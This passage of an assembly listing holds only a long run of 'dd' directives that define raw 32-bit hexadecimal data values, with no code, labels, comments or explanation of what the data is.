		dd 9EC8A0F8h, 9FD8FF0h,	210F5019h, 3A024C5Ah, 1BEA24Bh
		dd 0B08C080h, 1D824881h, 830A8F02h, 0B8DC7297h,	0B7103240h
		dd 753F0381h, 1BBC65CAh, 19C44D8h, 0F0A50B00h, 0AB0A9B36h
		dd 45370051h, 0E5EB9189h, 0C525AFBAh, 0E46865B2h, 0D4506736h
		dd 5C848B41h, 3B2D547Dh, 84C42825h, 496CE250h, 275BCF8h
		dd 0B7D960D8h, 0A95D3EBBh, 16437B4h, 38A5CE8Ch,	0DC323E49h
		dd 34C610B7h, 14964720h, 58A4D965h, 58C4DACh, 8C43199Fh
		dd 0EC3CAC0Ch, 36008C01h, 9E5F4CEBh, 25804575h,	54688ECEh
		dd 0CC49B222h, 0B8E70830h, 906C123Eh, 0EC9E4EA0h, 0C7C1522Dh
		dd 63016420h, 0B991A09Dh, 0D9710084h, 4D6B7F36h, 0FC12A643h
		dd 0C491DB8Bh, 38840D10h, 0F0358ACDh, 0C72E718h, 0AA9C539h
		dd 846CA05Ch, 0BDEA824h, 1F8E74E5h, 8F3D50FAh, 0D5F48BE4h
		dd 7FC0013Bh, 7984226Eh, 8048DBB0h, 41C90388h, 20823516h
		dd 18A62CC4h, 1C8D8EE0h, 3C9C0F05h, 0A800C0CDh,	0BA9D3464h
		dd 768C9C65h, 0A500DC46h, 0C56587BCh, 2D02A280h, 9BA04936h
		dd 4C20F06Eh, 2C9E0CCBh, 0FF8F4048h, 0A490AE4Fh, 326B43E0h
		dd 981C7291h, 0E72C173Ch, 23E03F3Fh, 3964041Bh,	0F388882Ah
		dd 11DE4D00h, 8FB280C8h, 351B4F81h, 0EB98049Ch,	87F30103h
		dd 0A080A7DBh, 69E6F1C4h, 28C1FE18h, 6CBF3CC5h,	0F5BEEA00h
		dd 2C4FE75Fh, 0CFC18075h, 7C5D1Bh, 7E2E33A4h, 2A1CD843h
		dd 3C5EE109h, 8B1C41DDh, 0E7257816h, 2BE0A26Ah,	0CE690EC9h
		dd 754714D4h, 289B6BB5h, 3E2C1B80h, 449D1A76h, 0F29F858h
		dd 4A88F1ACh, 0F9840720h, 47DED09h, 0F657F201h,	5DE77820h
		dd 0DBFC59EEh, 0B7096084h, 7E3B0029h, 0A7521F40h, 1327FFF1h
		dd 605021D5h, 0DB2AAE2Fh, 8FE68010h, 5BD279F4h,	0E4D080A0h
		dd 0CB2EB3D6h, 0CD848C78h, 0B8A8DABAh, 5C8C4DBCh, 0C07FA002h
		dd 2CB1D9D1h, 0C78BF9Dh, 6F0447B5h, 970584F1h, 6FD408BAh
		dd 9DC9F109h, 823311CCh, 0C0933D91h, 0C09BF578h, 0A7181A08h
		dd 6A5F022Ah, 8BC098DAh, 2486426Ch, 89E3E439h, 7469F6A0h
		dd 18465EE4h, 0D233A101h, 3C2D0120h, 0D9990098h, 4F8D14ABh
		dd 5309090h, 67BAFECDh,	0EDA8BC3Dh, 0DD9D30EAh,	0BF0C3800h
		dd 262FA28Fh, 0FD130BA8h, 48799F9Ah, 1C60D4F3h,	7479E2AAh
		dd 4416F800h, 3FA0391Ah, 0EEDB0032h, 47E5D9C1h,	1909989Dh
		dd 65D7E678h, 6018E420h, 16AF56D3h, 0A893AA67h,	0B8F4C06Ch
		dd 0F29080h, 0C4BC7913h, 66CE9C35h, 881430B4h, 38C84E24h
		dd 0E86900AEh, 56980B9Bh, 0B709ED23h, 2478ABC5h, 0A0F4D484h
		dd 7D63003Eh, 0C9F69C9Fh, 2A954B49h, 0E0A42058h, 1CBB08h
		dd 0A5E211AEh, 130B2DF2h, 9DF19015h, 8FDC1158h,	2020CF4Ah
		dd 7413F3AEh, 6EA0F2E9h, 0A540697Fh, 2640322Ch,	0B039C562h
		dd 5AD6401Ah, 76C82782h, 66704CFBh, 52823058h, 0DC469206h
		dd 0DD11A401h, 0BEB4849h, 7764606Fh, 75009A46h,	8357FC91h
		dd 0F2D87DDEh, 0AEB8007Ah, 0FD59415Fh, 0A495FA27h, 30DBA7C4h
		dd 99D9F87h, 4674A0DEh,	0D5A6001Dh, 3C68D43Dh, 75171755h
		dd 63F8D08Eh, 0CD9F5C4Ch, 2482C0BCh, 12002D70h,	7A1E4B3h
		dd 0C054DA0Bh, 0A6F60314h, 442C4836h, 0F1A54CADh, 181D7968h
		dd 0FC11095Bh, 74E2FEA6h, 3C40047h, 16110065h, 43F4792h
		dd 37C6B52Dh, 26CA00F0h, 7D9E5468h, 49A96114h, 8C1EB824h
		dd 1106500h, 49CEE560h,	7920249Fh, 83348914h, 918044DEh
		dd 9E10E77Ah, 416F606Ch, 0F0F9D034h, 4DA4E225h,	44BD6010h
		dd 70BE489h, 9F102C4h, 7104D17Ch, 0A4F01935h, 5C6A01F5h
		dd 65C7D8FDh, 0A25DDAC6h, 548F4D60h, 58C932Ch, 0C2C5BA47h
		dd 0F1016D60h, 2C2B9FE2h, 0AF958960h, 80849480h, 4AC1B5F0h
		dd 0A23F01D1h, 5B2341DDh, 0C0383C3Eh, 64F2C5AEh, 0A5709EFFh
		dd 851F09Ah, 0EC181C79h, 0C1F7077h, 0CEC9F69Eh,	0DC607481h
		dd 3496BF00h, 9035BD73h, 17A02D82h, 38F660F2h, 0A798848Ah
		dd 1DF898ACh, 0D160008Ch, 0A042927Eh, 2CA96E9Fh, 10C1149Bh
		dd 0AC50C5C1h, 1C54A666h, 966A9F58h, 3C38B087h,	0C1BB3325h
		dd 0C22A7110h, 0E447FBA8h, 0E3601FE4h, 5D0266E5h, 0BBB340D1h
		dd 0B8005590h, 0ABB7F2F3h, 0F6C8F12h, 30BCB4A8h, 0BFD3018Ch
		dd 7B59CA06h, 80527B38h, 89C334A8h, 0A2A85A40h,	4501C6E6h
		dd 0EE391F18h, 0F09CAAFFh, 7B1C6848h, 5468B5F1h, 2B553C9Ch
		dd 34802884h, 0ACA3F894h, 5630D9A2h, 89C6013Ch,	446CCAD4h
		dd 6A53E0C4h, 0B32468B7h, 886F44B1h, 12020520h,	0E8B4D38Ah
		dd 0F04B0438h, 8D014A8Fh, 800FC483h, 89670518h,	0C8339Ah
		dd 0E6F3C5ACh, 9F0D040Bh, 0F48B064Fh, 0F8C131C8h, 0C0DE45D5h
		dd 49184C74h, 4B01EC7Ah, 0D2D6B41Dh, 202F6A08h,	0F900D923h
		dd 0F8EE2B35h, 5E6228C5h, 6D7B2D84h, 0AB735C22h, 9809E00h
		dd 16F02434h, 43A42698h, 0E0C86D2Fh, 31E54599h,	0F46E6FC0h
		dd 26ADB100h, 0DAD12C6Eh, 4B61900Ah, 7449B088h,	409543B0h
		dd 7B4D63B8h, 9DEA8300h, 6EA6DF01h, 5C3900F8h, 0B1F43382h
		dd 0F558902Fh, 8C1FE808h, 2BC72900h, 0F8DDE7D9h, 0AC78040Eh
		dd 92285319h, 0E8F4EE40h, 53F04D6h, 0E1CE9708h,	68205994h
		dd 8C1EBCD0h, 5079F132h, 400CFC8Dh, 0CDA416D8h,	44881F4Fh
		dd 0E70F44E6h, 97215600h, 793549B8h, 405F4CCCh,	8BEAC080h
		dd 0D09E4F1h, 0E22CD295h, 50827FB0h, 0B51A779Dh, 500F8034h
		dd 468E4CD7h, 67D2AC07h, 13F8B333h, 9A3C75F3h, 0D6BAC2CCh
		dd 0D8E0DBC4h, 72B0DE53h, 0A2FDE730h, 178FC8D9h, 0B144CBB7h
		dd 0CD2F62Ch, 0A10043B0h, 0C800BE8h, 0B4A093h, 5289D8E0h
		dd 545D2FE4h, 67069801h, 0C92BACA1h, 8CFB0430h,	0C022B0BEh
		dd 96A62007h, 0D851F10Fh, 43C41382h, 9240040h, 7B421549h
		dd 0E4B64A48h, 174E20A8h, 0B0ADFCC5h, 380F48ACh, 0C074341Fh
		dd 0BEC1F7F0h, 0B825FD96h, 0FFFC6C6Eh, 37EF6F03h, 0A7EE980Dh
		dd 5413D270h, 526500B8h, 0AB176889h, 6200A7CBh,	6D43C029h
		dd 9735AEFh, 4CD683CAh,	4E045681h, 0D8B221C2h, 0D3300622h
		dd 9B96498Eh, 8DE812h
		dd 57A83543h, 78D9C5DDh, 1780D101h, 0C110BBDBh,	0C1ED05FCh
		dd 0B7881F58h, 818BF82h, 0DE3E94Bh, 8C4814D9h, 617C5B58h
		dd 504803F3h, 0DB6FC062h, 32CA1698h, 53AE6B03h,	0E79124Eh
		dd 6648D29h, 0A728660h,	56337D94h, 0A1A951CBh, 0A9BCBABDh
		dd 39EBF300h, 0DAF88C6Ch, 994D631h, 208053FCh, 83A04D3h
		dd 0BD145CB1h, 148CF7AEh, 1460FEE9h, 0F6CBCDFh,	805B0F15h
		dd 2D859478h, 6036EE24h, 5219988Ch, 38C0F511h, 434434D1h
		dd 0BF8800CAh, 362C9FF3h, 0C128D41Eh, 6D16645Ch, 0A40A526Ch
		dd 69C4DC67h, 5264B740h, 0BB30B427h, 0ACF1D106h, 811E00B0h
		dd 9D5D46EEh, 0C900E780h, 0DB317BE9h, 0EE39714h, 77D3BFDDh
		dd 6AAA4680h, 0E615133Ch, 0A0D696h, 0AC79B5B2h,	0EA189F1Bh
		dd 8CF6653h, 983D21AEh,	0A500F6BCh, 0ABF5FA12h,	11B69h
		dd 0DEAC553Ah, 1538D4D9h, 7EB66D0Fh, 0E5256114h, 18805494h
		dd 223DE97Ch, 0BB070BADh, 0BEB81BA9h, 0BA5540D0h, 90102F3h
		dd 0D8952FB4h, 0CB0FD88Eh, 1A50B0A0h, 0F314BEE8h, 42B40758h
		dd 30ABE25Ch, 9402849Ah, 0C3D92CC1h, 0AEA8905Bh, 917400A7h
		dd 108B499Bh, 157057B0h, 0D70C8400h, 0F1B3202Ah, 0B67A0ABAh
		dd 80EC412Bh, 85C77B1Ch, 250014DEh, 3A2C6BCBh, 93AC648Ah
		dd 8EDA017Ch, 87382B62h, 15A43439h, 0B6BAC1DFh,	998D30Fh
		dd 0BD142127h, 48CA1501h, 409020FAh, 0D3AD8840h, 654F0C34h
		dd 8DB9777Dh, 970384A0h, 0AFE8C286h, 84B1C71Bh,	0C39311A7h
		dd 9E2D5ECh, 0A38B8EECh, 0E30D4000h, 0D9241705h, 1BE0A862h
		dd 0C06C7A58h, 0A34C41C8h, 8E41C88Fh, 2D886C0Bh, 0ECD67C0h
		dd 8F8A0C76h, 180A073h,	0FEA82101h, 3E2BD89Fh, 1C763180h
		dd 1D8E0D42h, 0C3003B75h, 93DB6ADAh, 91100AADh,	80A791ECh
		dd 8C6E39E9h, 0FA448CE8h, 3A0200D1h, 0BAF93841h, 5D03C728h
		dd 0C26086E5h, 55E801DDh, 32581E97h, 391080DFh,	49ACBD3Eh
		dd 0AA71C88Ch, 7139EEC1h, 0FF18E0F9h, 2E7D088h,	938A0639h
		dd 0ACA0A29Fh, 4698B648h, 4BA8F350h, 0D6BD6B00h, 2085B57Fh
		dd 36BCA0ADh, 0F2198080h, 717CB849h, 8C372A15h,	90970D0h
		dd 259619A0h, 4C20BE98h, 706D39EAh, 22DB438Ch, 3D400F7h
		dd 0ABC4743Ah, 6A1E42C2h, 0AB98C5Ch, 0CCD867B7h, 32305984h
		dd 45C14080h, 0C1D4610Ch, 22C00670h, 63860044h,	0D7FE4D8Ah
		dd 8ED912EFh, 0AA0C6068h, 0BB10B515h, 2FC8B80Ah, 1C01F692h
		dd 3D533F73h, 0F1548340h, 1F091488h, 0FBE8F0D4h, 5A60028Ch
		dd 2BEA2EA5h, 0A700AC44h, 2D9822EEh, 3AAC11Ah, 435B2E1Eh
		dd 9B905608h, 380677C8h, 7187C0FCh, 0CC1F4C78h,	78C65BCh
		dd 232AE51Bh, 0D0988915h, 9F02F933h, 0FAA01731h, 90744383h
		dd 0AE2C57h, 4555787Bh,	50901FDDh, 1CBFA026h, 0B1806791h
		dd 22BBB815h, 2A44A4ACh, 15A300F7h, 442BD10Bh, 0CE60F5E1h
		dd 575CC658h, 14367953h, 0E8389C10h, 80B0C33Dh,	797259B9h
		dd 6B022770h, 0ED69B6A6h, 74642Ch, 0F7CC3092h, 0CAD40DECh
		dd 70793D1Fh, 9DD83889h, 0C63C40h, 6A33A96Dh, 0E39E8F4h
		dd 8AF18762h, 2684167Dh, 0CF211088h, 0BE177Ch, 0EE995144h
		dd 7434288Dh, 0ECCEC83Ah, 99C0FD88h, 71FFE360h,	48356010h
		dd 14DAF88h, 18382751h,	520871FCh, 0C44FFFF4h, 69B44062h
		dd 6292A052h, 0A2BBB879h, 23E68B03h, 0F003A8A0h, 0A48C6F39h
		dd 322EF762h, 0B90B7000h, 4D40420h, 11549F02h, 8098C20Ch
		dd 7C08FF00h, 16B8C730h, 2B9982B6h, 6F60C024h, 0FF23EE52h
		dd 64113Fh, 325267BAh, 1742CF0h, 231F146Dh, 8299F744h
		dd 0FB881BB1h, 5B44606Fh, 2AF4BA93h, 0FAE8D395h, 745F1494h
		dd 4A009CBDh, 19B2C4E2h, 0E315855h, 758438D9h, 0F2457082h
		dd 5CC41466h, 0BB020446h, 0CF1BA679h, 9212A831h, 0FE9B5A00h
		dd 594B17BAh, 1DA801E4h, 8E775778h, 5599D368h, 96E71030h
		dd 782B8CBh, 3094A71Bh,	82BF973Dh, 4594EA41h, 781C84F6h
		dd 0ED806CC0h, 9AB77206h, 460C9080h, 527002BDh,	3347FFF5h
		dd 68B343DCh, 8F41A852h, 0F358021Ch, 0F9BFF609h, 0A25B63C0h
		dd 0F890D850h, 493C9E54h, 44A439EEh, 18593428h,	483BE9D3h
		dd 2E00F723h, 5C7419E6h, 3BDF0082h, 88C1AD70h, 29C1E8BCh
		dd 0D4EB8F14h, 0A9333820h, 0A30C133Ch, 39ED048Ch, 67C88C72h
		dd 3CD210Ch, 725739E6h,	14F2EBBFh, 40EDE4E2h, 4522ABC0h
		dd 0E59E0190h, 10B88FD4h, 0A7E1C496h, 4387120Bh, 0B76CA185h
		dd 80895516h, 68A0452Bh, 0BD72E6F4h, 0DD512E00h, 2F25BA01h
		dd 0AC60016h, 2D653D55h, 0EE00A6D8h, 0C03A2014h, 0C0090143h
		dd 3752C8B0h, 0CE60567Bh, 9BA616D9h, 1254999Eh,	6B0C60C4h
		dd 0FF21EA52h, 63CEC05Fh, 57776252h, 27EC1214h,	79C402CEh
		dd 0C024A007h, 4D683ECh, 45C3CB01h, 22BC88FFh, 0F4769403h
		dd 0D00E5DC2h, 0B8DD2D55h, 397C3058h, 5BB714E8h, 0A498B66Fh
		dd 98D2FC57h, 64604763h, 0AEC36063h, 567601DBh,	93907D1Eh
		dd 58BC207Bh, 0E83E0724h, 0AD465Eh, 7ECF64Ch, 6438D6h
		dd 3B087B30h, 2C5B9B95h, 9A4F121Ch, 91741DE5h, 418A80ACh
		dd 257320E7h, 0BC822B23h, 5C72BD06h, 7C9217E0h,	372B1406h
		dd 41A695h, 1AAA5C0Ah, 7E96357Fh, 3CF68900h, 9C3C455h
		dd 74D3DD6h, 31CB1400h,	0EACCF21Ah, 7D054898h, 648EE13Bh
		dd 4AEDC98h, 0AABBB915h, 202832B6h, 9815A712h, 0A943C109h
		dd 0A13402E1h, 7C84728Eh, 0C3C73045h, 0E83ADB56h, 0EFAFFF0Fh
		dd 1989FBAh, 9960D130h,	40DA14B8h, 0FC8C2DACh, 63A1898h
		dd 0B5C570BEh, 28E35513h, 40785C82h, 907DAE38h,	0D84B0120h
		dd 0BA0BA1BEh, 0BC042CA3h, 0BC028C2Bh, 1023F0E1h, 48AF4168h
		dd 2FD8C040h, 0D42012E2h, 105067C2h, 6FFFF052h,	0C0C9C0B1h
		dd 0F7B4564h, 4A23B35Ch, 2581316h, 76338010h, 0C401F300h
		dd 787DE8D7h, 0B0525155h, 0D00BD4h, 4245BA51h, 3CD3ADECh
		dd 8A7A9D0Ch, 4C7C6174h, 14927C58h, 88481CCCh, 114C7A24h
		dd 79B98002h, 8CBF1BB0h, 7B94AA44h, 2D6A01C0h, 0A1C762F9h
		dd 0E82987h, 0A86CD58Eh, 0F1F7C6h, 779981D0h, 3D974DADh
		dd 0A8799499h, 0F9097A18h, 1D25201Dh, 80A911D0h, 8CE8EE72h
		dd 1D550014h, 0EA6AD153h, 1A2C7D6Bh, 0B38214B0h, 0A8C4F3BBh
		dd 0D502C3B8h, 0A00E0D17h, 0BBB6EC98h, 1244989Dh, 3A1314F7h
		dd 2A2350h, 294D9841h, 0B01C573h, 1946943Ah, 908ADA6Dh
		dd 83E8F858h, 0B7A3AF8Ch, 20127002h, 0A0765A3Ch, 0B11730E4h
		dd 0DD3401DFh, 1484AEA0h, 0ECBC600Fh, 11E81D8Ah, 0D36280ABh
		dd 59815FF7h, 7581085Ch, 2044B427h, 0DA4BBA6Ch,	2D238C2Eh
		dd 0EF670600h, 0D3AC9Bh, 0DD231734h, 2180D84Ch,	583E3829h
		dd 4218AF59h, 0B0711C12h, 0D197E203h, 628A8027h, 0C5716DFh
		dd 573C1C1Fh, 5CDC3308h, 92724127h, 0AD428080h,	12143Ch
		dd 712629DBh, 17F0451Dh, 50C0BD2Eh, 1FE467Eh, 1DC8A540h
		dd 0A4698CA3h, 614BBB04h, 4548CCEDh, 0A58ADD3Ah, 3D7C1720h
		dd 0AEE607C6h, 34707A36h, 26C1E2BCh, 0F4E01F39h, 0F37DCC0Ch
		dd 0E045A110h, 1D670BBFh, 9422AE60h, 111D4EC1h,	3CED80AEh
		dd 2A1DCCEh, 0F66657FCh, 8C9885A2h, 0A4DFD43h, 95220E78h
		dd 1F1CE50h, 18D810F8h,	3C43E841h, 0B706308Fh, 1F298455h
		dd 1868799Ch, 588D28C8h, 8616172Ch, 7B3441CBh, 63542111h
		dd 0E9A8501Ch, 0BA029643h
		dd 0B71BB179h, 950F0CE7h, 5F1A60C1h, 2E3B74CAh,	33C8B85h
		dd 0DC584453h, 0E372C1BDh, 0C47C6580h, 2650C183h, 34A4EDACh
		dd 1B56B662h, 0F906797h, 7E60BE59h, 0F3BA3BB6h,	0B60044Dh
		dd 426E5855h, 56FC4078h, 45B388C6h, 8C41FE4Bh, 81DB807Bh
		dd 0C6F7D600h, 0AE7820FAh, 0C9310260h, 74BE5D08h, 94EB00ABh
		dd 8247BCC3h, 857FB186h, 9AEC131Eh, 2C520388h, 0E82250h
		dd 731A98D8h, 5D238293h, 790D3818h, 15452E9Ch, 0C87AD206h
		dd 17753E50h, 51EACCBh,	82C601F3h, 28583418h, 9FF4F925h
		dd 9DAA1188h, 3B4DFD00h, 49607BB1h, 21056432h, 0E292A28Ch
		dd 694A0870h, 781F02FBh, 607889E0h, 77D6049Eh, 0C0700Ch
		dd 94062954h, 72BC2FA6h, 0E4402C4Fh, 0FEB3D1E8h, 0E2AC0051h
		dd 0E5FA8FDAh, 1FEE5288h, 0F8561204h, 94C03D79h, 0BAF2F99Fh
		dd 8ED91498h, 0A58B4863h, 0C2BB4482h, 0B038EC47h, 8DD8B0BEh
		dd 3F00B988h, 0C0F3BF12h, 0F01D1830h, 7B135340h, 4F1E13C1h
		dd 88DCCBE1h, 5268E12Bh, 3081CD6Ah, 0F374FCA9h,	7E1E1F02h
		dd 6013BD77h, 48CC07FBh, 5505BC26h, 12CD2080h, 54D440BCh
		dd 4F9D5BF5h, 0FE43BF03h, 0E5D8FDD7h, 0FEE294B3h, 0CA24B30h
		dd 1BC9EB5h, 48004A39h,	0D6942596h, 49B7C8h, 0BDB1977Ch
		dd 84C29C5h, 17F96505h,	0B8C4D60Fh, 0BB9CD480h,	81D1010Eh
		dd 0E4B80612h, 110201D3h, 0EC05FC6Dh, 5D75F86h,	8FD944ACh
		dd 0C0ADC8C8h, 5D88DBBCh, 0EF1BFC01h, 0E458FF83h, 949C80DAh
		dd 1F26B6Eh, 0BA8DEB2Eh, 60297B55h, 101ED25h, 0FF43EF70h
		dd 84505B56h, 19CE8606h, 187B15D3h, 92845063h, 89E46B9h
		dd 0E2717701h, 0F0333994h, 1CC598A7h, 0C97668C0h, 89ECE306h
		dd 2660121Eh, 45B80072h, 79EAC64Bh, 0EB929F3Eh,	8B738h
		dd 0D2281474h, 870FDF84h, 0E21F082Ch, 0F0B4F93Ah, 0FBD3230h
		dd 40D913E1h, 0B0182F79h, 67894000h, 7016F93Ch,	17C0506h
		dd 0C43E1C11h, 0F788F284h, 35D92CC0h, 85C200CCh, 1D31889Dh
		dd 0E5004487h, 308A83DCh, 0E0A1F23h, 0DB348F94h, 7D2EBF40h
		dd 0DE4C035h, 0EAE12D00h, 246761EFh, 0ADB1CBDh,	0FAFC06C8h
		dd 5E0008CDh, 0F2CA1882h, 67BDD3h, 0EEB212A4h, 2DA32F48h
		dd 0F6744C02h, 8F3BE1EFh, 1AE808h, 34E39082h, 0B000E5E0h
		dd 0A46AC980h, 70AA831h, 12438F2Ch, 4624077h, 0CC00454Fh
		dd 20284603h, 0DE4C7685h, 2D95C318h, 0E5A94EEAh, 0CC3FE0F0h
		dd 0D7006F78h, 0DF98966Ch, 3F7A58A4h, 1480318Ch, 0BA85C92Dh
		dd 6004D32h, 79023DBBh,	0BF5346h, 493F4844h, 0C9282D6Bh
		dd 8920A18h, 0C1404E78h, 0F4DDC81h, 0C6B99EE5h,	9745A243h
		dd 843FE0BCh, 0F5FCFD23h, 3530C707h, 0F838EDC5h, 84306F45h
		dd 9DB82024h, 0B8F46C55h, 0C10C4178h, 0C04702EBh, 30D5E889h
		dd 0E3D1E7E4h, 0BB908263h, 0C824C31Dh, 8C23738Eh, 7AA521DCh
		dd 5E96005Dh, 71664762h, 0F3710B4Ah, 0B99EB230h, 60DA198Ah
		dd 468D836h, 0E17DB31h,	0B30C3F2Ch, 5034882h, 2F41F266h
		dd 2C804D3Bh, 0AF24E419h, 0F662C632h, 0D654A455h, 6F826460h
		dd 11CB6B23h, 18AC24D7h, 0AD2CC90Eh, 0AC088130h, 30B3E8A9h
		dd 1F11434Fh, 5F382974h, 31C88C88h, 0C01509C0h,	297CFF21h
		dd 0B871E393h, 0B7620218h, 518628B0h, 0A0E7B804h, 0A8CB2777h
		dd 9AACC0h, 0B045D9F2h,	0A84D4393h, 21B108CCh, 64B3488Dh
		dd 8017DF1Ch, 0D7A12530h, 58A4BA40h, 60273F44h,	26F639C5h
		dd 69E261A3h, 4DCE3E00h, 397482B2h, 6EF0A0DFh, 0F8B453A5h
		dd 80180454h, 0CF5423C6h, 0E8C6158h, 45DBF2A0h,	80B58891h
		dd 0E0F2998Bh, 880176AAh, 4712BC2h, 8440CC2Eh, 732140E5h
		dd 0C7718D9h, 0DE26B932h, 0B8A40B00h, 0C6E7A8BCh, 1C08CC04h
		dd 0D6006D21h, 0D0B8880Bh, 7F5835Ah, 1CC3A5FFh,	34E7C335h
		dd 0B1007BB3h, 61F29F0Eh, 7D9C056Dh, 0DF78C72Dh, 0ED48E243h
		dd 117D7448h, 6DEC40h, 3C3A04F5h, 440E61B4h, 0CE849h, 7F140685h
		dd 0E596F5h, 0DA3EDC0Fh, 0DE5EB474h, 478A3C09h,	823432CFh
		dd 426B7478h, 0D6349930h, 0E875C311h, 3D0FC29Ah, 95E6A629h
		dd 77623B0h, 0E4D8F29Bh, 27B462A8h, 0F2578Ch, 8C6759Ah
		dd 61EBE530h, 1917A2Eh,	25392C5Bh, 4BD8041Ch, 0C028C8B4h
		dd 0CDA1E8CAh, 0FCA4AA3Ch, 644E8200h, 65690DADh, 0D1F8C85Ch
		dd 7205D5CAh, 7C22636Bh, 5FC123D9h, 2EAF16D0h, 192F0B1Ch
		dd 46118884h, 0C00768D0h, 0B1CC24AAh, 2972C0B4h, 78468869h
		dd 1001922h, 0E73B297Ah, 1D84E52Fh, 408211E2h, 789D51CEh
		dd 1B48160Eh, 37D2334h,	0B89A0BD8h, 878038BDh, 0D0BD000h
		dd 7A370175h, 560C02F7h, 0CA8E3699h, 0A57DC0A0h, 0C6687966h
		dd 4676E010h, 0A4423EB9h, 0B099771h, 91589791h,	0A0809CDFh
		dd 0C949BD1Ch, 0CB6A39D7h, 28DEB424h, 0F0E0278h, 0C828F005h
		dd 18D48861h, 7182086Ah, 0D9C4DB6Bh, 0A05CA647h, 3A538B12h
		dd 705EE79h, 99D6118Ch,	0FC70D801h, 0E8249CFDh,	0CD0800D7h
		dd 98B8F97Eh, 38E44557h, 4EFCF07Dh, 460054B2h, 0CB6DD0E7h
		dd 2D356B31h, 0CE76CF26h, 59210B18h, 0FF6E218h,	0AE589A8Fh
		dd 65E52BC0h, 0C0926FE0h, 0C7F20E10h, 23286B3Fh, 145D46BCh
		dd 2692F2A4h, 87704C80h, 0F0F2009Dh, 484B75D7h,	0A10E7E1h
		dd 3E06B58Ah, 0E091BE19h, 0DED12099h, 70003418h, 86B69DEFh
		dd 1B72E806h, 0E10A5880h, 0E3CB8BD9h, 0AD4034CAh, 9CF8FDEBh
		dd 80AE9530h, 40B219E8h, 4724531Eh, 465E88A9h, 0D9270117h
		dd 0E0C5899Fh, 1841B860h, 0A9E9420Fh, 493EFCF4h, 0AD35746Dh
		dd 0E85378ABh, 0E023EC2Fh, 62BCB602h, 0DA4DC07Fh, 6FD40F65h
		dd 8AC96442h, 0DF913817h, 135B5580h, 0AD722E43h, 0F51834E0h
		dd 8E106AFh, 288F2831h,	66BF0790h, 0AD674B0Eh, 39484140h
		dd 0FC4105CBh, 0E6474FB0h, 0EDDBF03Bh, 23EC69D0h, 8C6819D2h
		dd 5C6CC66Bh, 7AA8DA44h, 2EA7A062h, 2CD10959h, 0F83783BAh
		dd 0F3E25781h, 0D1F73404h, 90201C84h, 0D0294806h, 0D9BC244Ch
		dd 36D4008Ch, 8F9F6B88h, 2D0C7F51h, 603F8EEDh, 0CB0E4040h
		dd 0FEEA3705h, 5C2E5799h, 3E03B823h, 0B0C9F70Eh, 9A360ABAh
		dd 0E9F00394h, 7CBEDF78h, 10829BF0h, 72C2ED00h,	69C4A2Bh
		dd 4BE200A1h, 0F3F4EA24h, 0CD5C6FADh, 0C0B288A8h, 88682975h
		dd 9C8043h, 9A6D297Dh, 2D600C90h, 98769E81h, 18910360h
		dd 0F31456C5h, 7864F00Ch, 0CBFC1C7h, 0C228453Ch, 337D1A11h
		dd 3049D207h, 0E801C775h, 6980134Dh, 436BD6E3h,	4B070161h
		dd 120C6A8Fh, 0F599C1CEh, 0C6E87CB8h, 0B18C172Eh, 0B2A021CFh
		dd 0D02C2481h, 1508908Ch, 0E07B6B75h, 0C28FDB88h, 4B974076h
		dd 9093A4C7h, 0A10520C8h, 0F3F5FA05h, 984617ABh, 7C1C028h
		dd 8E223A93h, 6AC63016h, 0F1009B86h, 0E87066F6h, 3513E0h
		dd 0A2CD2E57h, 0F4C8813Dh, 112AB125h, 6E189564h, 88652908h
		dd 401BC458h, 0D1297605h, 0F8CB0348h, 0B59BCEA7h, 0F394080h
		dd 53943A4Ch, 30DEA25Ch, 6100CA42h, 2CCBEA83h, 0A2940E0h
		dd 0EBD195B8h, 0D37301ACh, 40C061A2h, 3B410888h, 0D0704762h
		dd 9614E1F0h, 29097118h, 9C608864h, 7904018Ch, 108DD29h
		dd 98FCF02Ah, 0BF90EC61h, 28256A65h, 8C7B9460h,	0A00BDA04h
		dd 1E62DCB8h, 0BD27120h, 0F1660097h, 7F0DD308h,	7A098C51h
		dd 106CBFDFh, 0FD9DAF54h, 0E513B028h, 23443FCDh, 693E00DFh
		dd 9755A4F5h
		dd 272DA10Bh, 19CC0171h, 0FF0024A6h, 430083B9h,	170E061Ch
		dd 18466065h, 20300749h, 3297E7Ah, 0D7D1DCAEh, 861C6018h
		dd 6F47FE05h, 9CC5AB07h, 29B0C467h, 8C508866h, 3AC61A44h
		dd 47002977h, 400CAD30h, 670BA4AFh, 210F4988h, 0E14170BCh
		dd 0C4E15838h, 36A510BBh, 440C40B0h, 0C891C510h, 8281D41Eh
		dd 38A2A775h, 0FC24E8C5h, 4FDF00D6h, 7644E0F8h,	0F1307DB8h
		dd 55CF68F2h, 801E619Ch, 267A40D7h, 0BD9021Ch, 31D4B8A1h
		dd 0D170102Ah, 883D000Bh, 0F60C180Dh, 0D90B2933h, 10470FE5h
		dd 54C6F454h, 98379C41h, 903D2C64h, 40D0B4E8h, 0BDE6F984h
		dd 8C2EDBA4h, 9D002606h, 36CB3BBAh, 4EF04B98h, 4CB08974h
		dd 0F144140Ch, 0EDC1100Ch, 63230C4Ch, 0DDF29E07h, 0B76290D4h
		dd 0F2978920h, 647A09F7h, 0C837AB11h, 7B25823Fh, 0E5AB1374h
		dd 601BE474h, 3B9395h, 323F8DBDh, 44100B4Dh, 540AEE44h
		dd 161B838h, 0E71ABA7Dh, 0E42D27CBh, 0F1654810h, 14C08529h
		dd 15986F4Eh, 94DB4974h, 42F03708h, 0CD415144h,	4FE7BC3Eh
		dd 0C02988FCh, 54BC7BE3h, 6BCDED00h, 0C1CBD64Ch, 0F79F0406h
		dd 0CC82BFD1h, 0ED207D1Ch, 8A6F2CE1h, 0D6465E30h, 0B889FC3Fh
		dd 20918Dh, 92F0330Eh, 0E70AB200h, 4803CF36h, 6FD53E8Bh
		dd 26C82B11h, 467410CCh, 0EE4F03DAh, 98B5228Fh,	394DE562h
		dd 6F0BF81Dh, 9448AEF5h, 0E801317Dh, 674125A9h,	142C214Ch
		dd 81000722h, 0ED566F8Dh, 75D3B4h, 0CBFB9D7Dh, 91E84505h
		dd 465EC89Eh, 900C001Ah, 4E8E9A24h, 0B9FE1C9Bh,	8CDD5475h
		dd 6898A324h, 6FBF04ECh, 7E865C33h, 9C18C2C0h, 0B4465E84h
		dd 168FEC0Fh, 0F8F0FE4Ch, 69C9E0F8h, 0DC203079h, 0B89E160Bh
		dd 733838ACh, 50BD400h,	92C77750h, 0EA70119h, 0CC3EBE0h
		dd 7C5091E6h, 9B0B429Eh, 484704B8h, 0BCF8607h, 692614C0h
